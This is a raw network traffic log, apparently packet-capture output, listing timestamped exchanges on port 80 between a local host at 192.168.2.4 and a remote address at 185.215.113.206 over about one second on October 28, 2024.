Oct 28, 2024 08:17:16.956602097 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.956602097 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.956604004 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.956629038 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.956644058 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.956644058 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.956644058 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.956660032 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.956676960 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.956686020 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.956686020 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.956721067 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.956721067 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.957247019 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.957271099 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.957285881 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.957299948 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.957314014 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.957314014 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.957315922 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.957345963 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.957345963 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.957374096 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.001765013 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.001782894 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.001797915 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.001818895 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.001835108 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.001842022 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.001848936 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.001854897 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.001854897 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.001889944 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.001905918 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.001967907 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.002017021 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.002019882 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.002082109 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.002101898 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.002118111 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.002140999 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.002157927 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.002157927 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.002178907 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.002285957 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.002299070 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.002334118 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.045661926 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.045710087 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.045723915 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.045746088 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.045747042 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.045768976 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.045802116 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.065190077 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.065279007 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.065295935 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.065295935 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.065335035 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.065335035 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.065578938 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.065594912 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.065629005 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.065675974 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.070091009 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.070105076 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.070142031 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.070173979 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.070174932 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.070214033 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.070214033 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.070704937 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.070730925 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.070745945 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.070758104 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.070766926 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.070775986 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.070815086 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.070815086 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.070827007 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.070842028 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.070882082 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.070882082 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.071014881 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.071029902 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.071044922 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.071073055 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.071073055 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.071268082 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.071285009 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.071299076 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.071324110 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.071333885 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.071350098 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.071374893 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.071374893 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.071419954 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.071432114 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.071465015 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.071480036 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.071518898 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.071588039 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.071603060 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.071618080 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.071643114 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.071643114 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.071664095 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.071836948 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.071860075 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.071877003 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.071892977 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.071901083 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.071901083 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.071917057 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.071959972 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.072077990 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.072129011 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.072133064 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.072149038 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.072173119 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.072186947 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.072186947 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.072187901 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.072204113 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.072222948 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.072222948 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.072228909 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.072242022 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.072246075 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.072257996 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.072289944 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.072289944 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.072345018 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.072756052 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.072772980 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.072804928 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.072808027 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.072818995 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.072820902 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.072838068 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.072860956 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.072860956 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.072885990 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.117224932 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.117278099 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.117289066 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.117311001 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.117327929 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.117331028 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.117338896 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.117373943 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.117384911 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.117391109 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.117391109 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.117397070 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.117408991 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.117419004 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.117419004 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.117419958 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.117481947 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.117481947 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.161484957 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.161505938 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.161515951 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.161603928 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.161653996 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.180681944 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.180701017 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.180711031 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.180742025 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.180742979 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.180752993 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.180789948 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.180789948 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.185563087 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.185617924 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.185617924 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.185628891 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.185669899 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.185669899 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.186060905 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.186070919 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.186080933 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.186134100 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.186134100 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.186158895 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.186170101 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.186180115 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.186213970 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.186213970 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.186239004 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.186306953 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.186311007 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.186348915 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.186381102 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.186391115 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.186446905 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.186454058 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.186463118 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.186472893 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.186489105 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.186541080 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.186716080 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.186764002 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.186784029 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.186794043 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.186821938 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.186875105 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.186878920 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.186891079 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.186903000 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.186939955 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.186939955 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.187124014 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.187134027 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.187149048 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.187175035 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.187175035 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.187205076 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.187218904 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.187228918 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.187238932 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.187248945 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.187274933 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.187274933 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.187295914 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.187299013 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.187309980 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.187325001 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.187347889 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.187347889 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.187383890 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.187779903 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.187798977 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.187808037 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.187820911 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.187838078 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.187841892 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.187855959 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.187895060 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.187916040 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.187971115 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.187988997 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.187999964 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.188010931 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.188040972 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.188123941 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.232621908 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.232637882 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.232647896 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.232656956 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.232670069 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.232678890 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.232717037 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.232717037 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.232742071 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.232759953 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.232770920 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.232780933 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.232780933 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.232820988 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.232868910 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.276911974 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.276971102 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.276988029 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.277067900 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.277163982 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.295911074 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.295972109 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.295986891 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.295999050 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.296015024 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.296026945 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.296062946 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.296062946 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.301415920 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.301510096 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.301513910 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.301521063 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.301532984 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.301543951 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.301553965 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.301564932 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.301575899 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.301575899 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.301594973 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.301604986 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.301615953 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.301626921 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.301634073 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.301634073 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.301661015 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.301667929 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.301681042 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.301688910 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.301718950 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.301718950 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.301912069 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.301923037 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.301934004 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.301975012 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.302004099 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.302015066 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.302021027 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.302027941 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.302059889 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.302059889 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.302350044 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.302400112 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.302412033 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.302433968 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.302433968 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.302464008 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.302474022 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.302489996 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.302500963 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.302517891 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.302527905 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.302527905 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.302529097 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.302555084 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.302556038 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.302577972 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.302690029 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.302711010 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.302721977 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.302742958 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.302742958 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.302782059 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.302793980 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.302804947 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.302808046 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.302822113 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.302861929 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.302861929 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.302870989 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.302881956 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.302894115 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.302917957 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.302917957 CET	49734	80	192.168.2.4	185.215.113.206
